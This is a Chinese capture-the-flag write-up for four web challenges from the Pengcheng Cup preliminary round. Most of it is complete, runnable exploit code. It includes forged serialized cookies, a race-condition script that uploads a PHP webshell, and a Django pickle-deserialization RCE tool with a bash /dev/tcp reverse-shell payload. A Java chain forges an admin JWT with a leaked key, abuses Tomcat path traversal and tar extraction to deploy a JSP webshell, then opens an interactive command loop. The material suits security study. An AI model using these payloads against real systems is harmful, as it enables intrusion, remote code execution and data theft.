第五届鹏城杯 初赛 web wp
第五届鹏城杯 初赛 web wp
ez_php
抓包发现有 cookie 的校验
直接改成 admin 会报错

看提示感觉是 admin 被过滤了,双写一下就可以绕过去

TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6ImFkYWRtaW5taW4iO30=
点击 test.txt 发现 url 处有文件读取,尝试读 dashboard.php 提示

需要绕过一下
扫目录发现 flag.php,测试了一下可以用/绕过后缀

Uplssse
一样是伪造一下 cookie

Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjg6InhuZnRyb25lIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czoxMDoiaXNMb2dnZWRJbiI7YjoxO3M6ODoiaXNfYWRtaW4iO2k6MTt9
根据描述违规文件几秒后删除,猜测是条件竞争
尝试传了一个合法文件发现/tmp 目录是 403,猜测是有个.htaccess 在拦截读取
上传一个.htaccess 触发删除

然后就可以上传马访问了,写个脚本条件竞争一下
import io
import requests
import threading
proxy = {"http": "http://127.0.0.1:9002"}
host = "192.168.18.26"
port = 25002
url = f"http://{host}:{port}/"
cookie = {
"user_auth": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjg6InhuZnRyb25lIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czoxMDoiaXNMb2dnZWRJbiI7YjoxO3M6ODoiaXNfYWRtaW4iO2k6MTt9"
}
content = "<?php system('cat /flag6f67186d');?>"
UPLOAD_THREADS = 20
ACCESS_THREADS = 20
stop_flag = threading.Event()
def upload_file():
session = requests.Session()
while not stop_flag.is_set():
try:
f = io.BytesIO(content.encode("utf-8"))
files = {"file": ("xnftrone.php", f, "text/plain; charset=utf-8")}
data = {"upload" : "1"}
session.post(url + "upload.php",data=data, cookies=cookie, files=files, proxies=proxy, timeout=5)
except:
pass
def access_file():
session = requests.Session()
while not stop_flag.is_set():
try:
r = session.get(url + "tmp/xnftrone.php", cookies=cookie, proxies=proxy, timeout=5)
if r.status_code != 404:
print(f"[+] Success:\n{r.text}")
stop_flag.set()
return
except:
pass
if __name__ == "__main__":
threads = []
for _ in range(UPLOAD_THREADS):
t = threading.Thread(target=upload_file, daemon=True)
threads.append(t)
for _ in range(ACCESS_THREADS):
t = threading.Thread(target=access_file, daemon=True)
threads.append(t)
for t in threads:
t.start()
try:
while not stop_flag.is_set():
threading.Event().wait(0.1)
except KeyboardInterrupt:
pass
stop_flag.set()
for t in threads:
t.join(timeout=1)
ezDjango
通过 /upload/ 上传恶意 .cache 文件到 /tmp,利用 /copy/ 将其复制到 Django 缓存目录(文件名为 md5(key)+.djcache),最后调用 /cache/trigger/ 触发 cache.get() 执行 pickle 反序列化,实现任意命令执行。
#!/usr/bin/env python3
import requests
import pickle
import zlib
import hashlib
import time
import os
import re
import base64
# ==================== 配置区域 ====================
TARGET_URL = "http://127.0.0.1:8000" # 目标URL,根据实际情况修改
CACHE_KEY = "pwn" # 默认缓存键名
CACHE_DIR = None # 缓存目录 (自动探测)
KEY_PREFIX = "" # Django缓存KEY_PREFIX
KEY_VERSION = 1 # Django缓存VERSION
# ==================== Payload 类 ====================
class RCE:
"""
Pickle RCE Payload - 使用 eval + os.popen 获取命令输出
"""
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
# 使用eval执行os.popen().read()来获取命令输出
return (eval, (f"__import__('os').popen({self.cmd!r}).read()",))
class RCESystem:
"""
Pickle RCE Payload - 使用 os.system (无回显)
"""
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
import os
return (os.system, (self.cmd,))
class ReverseShell:
"""
Pickle 反弹Shell Payload
"""
def __init__(self, ip, port):
self.ip = ip
self.port = port
def __reduce__(self):
import os
cmd = f"bash -c 'bash -i >& /dev/tcp/{self.ip}/{self.port} 0>&1'"
return (os.system, (cmd,))
class WriteFile:
"""
Pickle 写文件 Payload
"""
def __init__(self, path, content):
self.path = path
self.content = content
def __reduce__(self):
return (self._write_file, (self.path, self.content))
@staticmethod
def _write_file(path, content):
with open(path, 'w') as f:
f.write(content)
return f"Written to {path}"
# ==================== 工具函数 ====================
def cache_filename(key: str) -> str:
"""计算Django缓存文件名 (简单MD5)"""
return f"{hashlib.md5(key.encode()).hexdigest()}.djcache"
def django_cache_filename(key: str, key_prefix: str = "", version: int = 1) -> str:
"""
计算Django缓存文件名 (带prefix和version)
Django FileBasedCache 使用 make_key() 生成: "{prefix}:{version}:{key}"
"""
raw = f"{key_prefix}:{version}:{key}"
return f"{hashlib.md5(raw.encode()).hexdigest()}.djcache"
def get_all_cache_filenames(key: str, key_prefix: str = "", version: int = 1) -> list:
"""获取所有可能的缓存文件名"""
return list(set([
cache_filename(key),
django_cache_filename(key, key_prefix, version),
]))
def create_cache_payload(payload_obj):
"""
创建Django FileBasedCache格式的恶意缓存文件
格式: pickle(expiry_timestamp) + zlib.compress(pickle(value))
"""
# 使用一个很大的过期时间戳 (10^10 秒,约317年后)
expiry = 10**10
# 序列化过期时间
expiry_data = pickle.dumps(expiry, protocol=pickle.HIGHEST_PROTOCOL)
# 序列化并压缩payload
payload_data = pickle.dumps(payload_obj, protocol=pickle.HIGHEST_PROTOCOL)
compressed_payload = zlib.compress(payload_data)
# 组合成完整的缓存文件内容
return expiry_data + compressed_payload
def create_raw_pickle_payload(payload_obj):
"""创建原始pickle payload (不带Django缓存格式)"""
return pickle.dumps(payload_obj, protocol=pickle.HIGHEST_PROTOCOL)
def normalize_url(url: str) -> str:
"""确保URL包含协议前缀"""
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url.rstrip("/")
# ==================== 攻击函数 ====================
def step0_get_cache_dir(session, cache_key=CACHE_KEY):
"""
Step 0: 通过 /cache/viewer/ 获取缓存目录路径
"""
print(f"[*] Step 0: 探测缓存目录...")
url = f"{TARGET_URL}/cache/viewer/"
data = {"key": cache_key}
try:
resp = session.post(url, data=data)
result = resp.json()
# 从响应中提取缓存路径
text_to_search = " ".join([
resp.text,
result.get("message", ""),
str(result.get("cache_path", ""))
])
# 匹配 .djcache 文件路径
m = re.search(r"(/[\S]+?\.djcache)", text_to_search)
if m:
cache_dir = os.path.dirname(m.group(1))
print(f"[+] 发现缓存目录: {cache_dir}")
return cache_dir
if result.get("cache_path"):
cache_dir = os.path.dirname(result["cache_path"])
print(f"[+] 发现缓存目录: {cache_dir}")
return cache_dir
print(f"[-] 无法确定缓存目录,使用默认值: /tmp/django_cache")
return "/tmp/django_cache"
except Exception as e:
print(f"[-] 探测异常: {e}")
return "/tmp/django_cache"
def step1_upload_cache(session, payload_bytes, filename="evil.cache"):
"""
Step 1: 上传恶意缓存文件到 /tmp
"""
print(f"[*] Step 1: 上传恶意缓存文件...")
url = f"{TARGET_URL}/upload/"
files = {"file": (filename, payload_bytes, "application/octet-stream")}
data = {"filename": filename}
try:
resp = session.post(url, files=files, data=data)
result = resp.json()
if result.get("status") == "success":
filepath = result.get("filepath", "")
print(f"[+] 上传成功: {filepath}")
return filepath
else:
print(f"[-] 上传失败: {result.get('message')}")
return None
except Exception as e:
print(f"[-] 上传异常: {e}")
return None
def step2_copy_to_cache(session, src_path, cache_dir, cache_key=CACHE_KEY):
"""
Step 2: 复制恶意文件到Django缓存目录 (尝试所有可能的文件名)
"""
print(f"[*] Step 2: 复制文件到缓存目录...")
# 获取所有可能的缓存文件名
filenames = get_all_cache_filenames(cache_key, KEY_PREFIX, KEY_VERSION)
url = f"{TARGET_URL}/copy/"
success = False
for target_filename in filenames:
dst_path = f"{cache_dir}/{target_filename}"
data = {"src": src_path, "dst": dst_path}
try:
resp = session.post(url, data=data)
result = resp.json()
if result.get("status") == "success":
print(f"[+] 复制成功: {src_path} → {dst_path}")
success = True
else:
print(f"[-] 复制失败 ({target_filename}): {result.get('message')}")
except Exception as e:
print(f"[-] 复制异常 ({target_filename}): {e}")
return success
def step3_trigger_rce(session, cache_key=CACHE_KEY):
"""
Step 3: 触发缓存读取,执行反序列化
"""
print(f"[*] Step 3: 触发反序列化...")
url = f"{TARGET_URL}/cache/trigger/"
data = {"key": cache_key}
try:
resp = session.post(url, data=data)
result = resp.json()
print(f"[*] 触发响应: {result}")
return result
except Exception as e:
print(f"[-] 触发异常: {e}")
return None
def get_cache_info(session, cache_key=CACHE_KEY):
"""
辅助: 获取缓存文件信息
"""
print(f"[*] 获取缓存信息...")
url = f"{TARGET_URL}/cache/viewer/"
data = {"key": cache_key}
try:
resp = session.post(url, data=data)
result = resp.json()
print(f"[*] 缓存信息: {result}")
return result
except Exception as e:
print(f"[-] 异常: {e}")
return None
def exploit_format_string(session, payload="{user.__class__.__mro__}"):
"""
利用格式化字符串漏洞泄露信息
"""
print(f"[*] 测试格式化字符串注入...")
url = f"{TARGET_URL}/generate/"
# 创建一个假文件用于上传
files = {"file": ("test.txt", b"test", "text/plain")}
data = {"intro": payload, "filename": "test.txt"}
try:
resp = session.post(url, files=files, data=data)
print(f"[*] 响应内容:\n{resp.text}")
return resp.text
except Exception as e:
print(f"[-] 异常: {e}")
return None
# ==================== 主攻击流程 ====================
def full_exploit(cmd="cat /flag"):
"""
完整攻击流程
"""
global CACHE_DIR
print("=" * 60)
print("Django FileBasedCache Pickle RCE Exploit")
print("=" * 60)
session = requests.Session()
# Step 0: 探测缓存目录
if CACHE_DIR is None:
CACHE_DIR = step0_get_cache_dir(session, CACHE_KEY)
# 创建恶意payload
print(f"\n[*] 目标命令: {cmd}")
payload_obj = RCE(cmd)
payload_bytes = create_cache_payload(payload_obj)
filenames = get_all_cache_filenames(CACHE_KEY, KEY_PREFIX, KEY_VERSION)
print(f"[*] Payload大小: {len(payload_bytes)} bytes")
print(f"[*] 目标缓存键: {CACHE_KEY}")
print(f"[*] 可能的缓存文件名: {', '.join(filenames)}")
# Step 1: 上传
uploaded_path = step1_upload_cache(session, payload_bytes)
if not uploaded_path:
print("[-] 攻击失败: 上传阶段")
return False
# Step 2: 复制
if not step2_copy_to_cache(session, uploaded_path, CACHE_DIR):
print("[-] 攻击失败: 复制阶段")
return False
# Step 3: 触发
result = step3_trigger_rce(session)
print("\n" + "=" * 60)
if result:
print("[+] 攻击成功! 命令输出:")
value = result.get("value", "")
if "value_b64" in result:
value = base64.b64decode(result["value_b64"]).decode(errors="ignore")
print(value)
else:
print("[+] 攻击完成! 检查命令是否执行成功")
print("=" * 60)
return True
def reverse_shell_exploit(ip, port):
"""
反弹Shell攻击
"""
global CACHE_DIR
print("=" * 60)
print("Django FileBasedCache Reverse Shell Exploit")
print("=" * 60)
session = requests.Session()
# Step 0: 探测缓存目录
if CACHE_DIR is None:
CACHE_DIR = step0_get_cache_dir(session, CACHE_KEY)
print(f"\n[*] 反弹Shell目标: {ip}:{port}")
payload_obj = ReverseShell(ip, port)
payload_bytes = create_cache_payload(payload_obj)
# 执行攻击流程
uploaded_path = step1_upload_cache(session, payload_bytes)
if uploaded_path:
step2_copy_to_cache(session, uploaded_path, CACHE_DIR)
step3_trigger_rce(session)
print(f"\n[*] 请在 {ip}:{port} 监听连接")
print(f"[*] 命令: nc -lvnp {port}")
# ==================== 测试函数 ====================
def test_connection():
"""测试目标连接"""
try:
resp = requests.get(f"{TARGET_URL}/", timeout=10)
print(f"[+] 目标可达: {TARGET_URL}")
print(f"[*] 状态码: {resp.status_code}")
return True
except Exception as e:
print(f"[-] 连接失败: {e}")
return False
def generate_payload_file(cmd, output_file="evil.cache"):
"""
生成恶意缓存文件 (离线使用)
"""
payload_obj = RCE(cmd)
payload_bytes = create_cache_payload(payload_obj)
with open(output_file, "wb") as f:
f.write(payload_bytes)
print(f"[+] Payload已保存到: {output_file}")
print(f"[*] 文件大小: {len(payload_bytes)} bytes")
print(f"[*] MD5: {hashlib.md5(payload_bytes).hexdigest()}")
return output_file
# ==================== 命令行接口 ====================
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="Django FileBasedCache Pickle RCE Exploit")
parser.add_argument("-u", "--url", default="http://127.0.0.1:8000", help="目标URL (例如: http://192.168.1.1:8000)")
parser.add_argument("-c", "--cmd", default="cat /flag", help="要执行的命令")
parser.add_argument("-k", "--key", default="pwn", help="缓存键名")
parser.add_argument("--cache-dir", default=None, help="缓存目录 (自动探测)")
parser.add_argument("--cache-prefix", default="", help="Django缓存KEY_PREFIX")
parser.add_argument("--cache-version", type=int, default=1, help="Django缓存VERSION")
parser.add_argument("--upload-name", default="evil.cache", help="上传的文件名")
parser.add_argument("--reverse", nargs=2, metavar=("IP", "PORT"), help="反弹Shell")
parser.add_argument("--generate", action="store_true", help="仅生成payload文件")
parser.add_argument("--test", action="store_true", help="测试连接")
parser.add_argument("--info", action="store_true", help="获取缓存信息")
parser.add_argument("--format-string", default=None, help="测试格式化字符串注入")
parser.add_argument("--verbose", action="store_true", help="显示详细输出")
args = parser.parse_args()
# 更新全局配置
TARGET_URL = normalize_url(args.url)
CACHE_KEY = args.key
CACHE_DIR = args.cache_dir
KEY_PREFIX = args.cache_prefix
KEY_VERSION = args.cache_version
print(f"[*] 目标URL: {TARGET_URL}")
if args.test:
test_connection()
elif args.generate:
generate_payload_file(args.cmd)
elif args.reverse:
reverse_shell_exploit(args.reverse[0], int(args.reverse[1]))
elif args.info:
session = requests.Session()
get_cache_info(session, args.key)
elif args.format_string:
session = requests.Session()
exploit_format_string(session, args.format_string)
else:
full_exploit(args.cmd)
ez_java
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]
一个 download 路由
Apache Tomcat RewriteValve 目录遍历漏洞 | CVE-2025-55752 复现_cve-2025-55752 漏洞复现-CSDN 博客
可以这样去读源码
/download?path=%2fWEB-INF%2fweb.xml
/download?path=%2fWEB-INF%2fclasses%2fcom%2fctf%2fRegisterServlet.class
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<display-name>JWT Login WebApp</display-name>
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.ctf.LoginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>com.ctf.RegisterServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>DashboardServlet</servlet-name>
<servlet-class>com.ctf.DashboardServlet</servlet-class>
<multipart-config>
<max-file-size>10485760</max-file-size>
<max-request-size>20971520</max-request-size>
<file-size-threshold>0</file-size-threshold>
</multipart-config>
</servlet>
<servlet>
<servlet-name>AdminDashboardServlet</servlet-name>
<servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
<multipart-config>
<max-file-size>10485760</max-file-size>
<max-request-size>20971520</max-request-size>
<file-size-threshold>0</file-size-threshold>
</multipart-config>
</servlet>
<servlet>
<servlet-name>BackUpServlet</servlet-name>
<servlet-class>com.ctf.BackUpServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/register</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>DashboardServlet</servlet-name>
<url-pattern>/dashboard/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AdminDashboardServlet</servlet-name>
<url-pattern>/admin/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>BackUpServlet</servlet-name>
<url-pattern>/backup/*</url-pattern>
</servlet-mapping>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
</web-app>
发现源码里有静态调用到 JwtUtil 这个类,可以读出来
download?path=%2fWEB-INF/classes/com/ctf/JwtUtil.class
里面有 jwt 的 key
static {
_key _= new SecretKeySpec("secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret".getBytes(StandardCharsets._UTF_8_), SignatureAlgorithm.HS256.getJcaName());
}
这样就可以伪造 admin 进入 AdminDashboard
有一个文件上传的逻辑
private void uploadTar(HttpServletRequest req, HttpServletResponse resp) throws IOException {
Path fileDir = Paths.get(req.getServletContext().getRealPath("tmp"));
if (!fileDir.toFile().exists()) {
fileDir.toFile().mkdirs();
}
resp.setContentType("application/json; charset=UTF-8");
try {
Part filePart = req.getPart("file");
if (filePart == null) {
resp.getWriter().write("{\"error\":\"no file uploaded\"}");
return;
}
Path targetPath = Paths.get(this.getServletContext().getRealPath("tmp/out.tar"));
InputStream in = filePart.getInputStream();
int count;
try {
OutputStream out = Files._newOutputStream_(targetPath);
try {
byte[] buf = new byte[8192];
while((count = in.read(buf)) != -1) {
if (!(new String(buf, 0, count, StandardCharsets._UTF_8_)).contains("ホ") && !(new String(buf, 0, count, StandardCharsets._UTF_8_)).contains("ン")) {
out.write(buf, 0, count);
}
}
} catch (Throwable var15) {
if (out != null) {
try {
out.close();
} catch (Throwable var14) {
var15.addSuppressed(var14);
}
}
throw var15;
}
if (out != null) {
out.close();
}
} catch (Throwable var16) {
if (in != null) {
try {
in.close();
} catch (Throwable var13) {
var16.addSuppressed(var13);
}
}
throw var16;
}
if (in != null) {
in.close();
}
String destFolder = "uploads";
TInputStream tis = new TInputStream(new BufferedInputStream(Files._newInputStream_(targetPath)));
TarEntry entry;
if ((entry = tis.getNextEntry()) != null) {
byte[] data = new byte[2048];
String var10002 = this.getServletContext().getRealPath(destFolder);
FileOutputStream fos = new FileOutputStream(var10002 + entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(fos);
while((count = tis.read(data)) != -1) {
dest.write(data, 0, count);
}
System._out_.println(new String(data));
dest.flush();
dest.close();
}
tis.close();
File f = targetPath.toFile();
if (f.exists() && f.isFile()) {
boolean ok = f.delete();
if (!ok) {
resp.getWriter().write("{\"status\":\"delete failed\"}");
return;
}
}
resp.getWriter().write("{\"status\":\"ok\"}");
} catch (Exception var17) {
Exception e = var17;
resp.getWriter().write("{\"error\":\"" + e.getMessage() + "\"}");
}
}
tar 解压有一个目录穿越的机制
可以利用 tomcat 自动部署 war 包的机制,传入一个 war 包到根目录去,利用新的 web.xml 去解析 jsp
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
_"""_
_EzJava CTF Exploit - xnftrone_
_"""_
import requests
import zipfile
import tarfile
import io
import time
import sys
import re
import hmac
import hashlib
import base64
import json
SECRET = b"secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"
def b64url_enc(data):
if isinstance(data, str):
data = data.encode("utf-8")
return base64.urlsafe_b64encode(data).decode("utf-8").rstrip("=")
def forge_jwt():
hdr = {"alg": "HS256", "typ": "JWT"}
pld = {"sub": "admin", "username": "admin", "iat": int(time.time()), "exp": int(time.time()) + 7200}
hdr_b64 = b64url_enc(json.dumps(hdr, separators=(',', ':')))
pld_b64 = b64url_enc(json.dumps(pld, separators=(',', ':')))
sig = hmac.new(SECRET, f"{hdr_b64}.{pld_b64}".encode(), hashlib.sha256).digest()
return f"{hdr_b64}.{pld_b64}.{b64url_enc(sig)}"
def build_war():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr("xnftrone.jsp", """<pre><%
if(request.getParameter("xnftrone")!=null){
ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c",request.getParameter("xnftrone"));
pb.redirectErrorStream(true);
java.util.Scanner s = new java.util.Scanner(pb.start().getInputStream()).useDelimiter("\\\\A");
out.print(s.hasNext()?s.next():"");
}
%></pre>""")
zf.writestr("WEB-INF/web.xml", """<?xml version="1.0"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
<servlet><servlet-name>jsp</servlet-name><servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class><load-on-startup>1</load-on-startup></servlet>
<servlet-mapping><servlet-name>jsp</servlet-name><url-pattern>*.jsp</url-pattern></servlet-mapping>
</web-app>""")
buf.seek(0)
return buf.getvalue()
def build_tar(war):
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tf:
info = tarfile.TarInfo(name="/../../xnftrone.war")
info.size = len(war)
tf.addfile(info, io.BytesIO(war))
buf.seek(0)
return buf.getvalue()
def exploit(target):
print(f"[*] Target: {target}")
jwt = forge_jwt()
print(f"[*] JWT: {jwt[:50]}...")
war = build_war()
tar = build_tar(war)
print(f"[*] Payload ready")
print("[*] Uploading...")
r = requests.post(f"{target}/admin/upload", files={"file": ("xnftrone.tar", tar)}, cookies={"jwt": jwt})
print(f"[*] Upload: {r.status_code}")
print("[*] Waiting 15s...")
time.sleep(15)
shell = f"{target}/xnftrone/xnftrone.jsp"
print(f"[*] Checking {shell}")
r = requests.get(shell, params={"xnftrone": "id"})
if r.status_code == 200 and "<%" not in r.text:
print(f"[+] RCE OK!")
print(f"[+] {r.text.strip()}")
r = requests.get(shell, params={"xnftrone": "env"})
m = re.search(r'(flag\{[^}]+\})', r.text, re.I)
if m:
print(f"\n[FLAG] {m.group(1)}\n")
while True:
try:
cmd = input("xnftrone> ").strip()
if cmd == "exit": break
if cmd:
r = requests.get(shell, params={"xnftrone": cmd})
print(re.sub(r'<[^>]+>', '', r.text).strip())
except: break
else:
print(f"[-] Failed: {r.status_code}")
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.18.25:25004/"
exploit(target.rstrip('/'))

浙公网安备 33010602011771号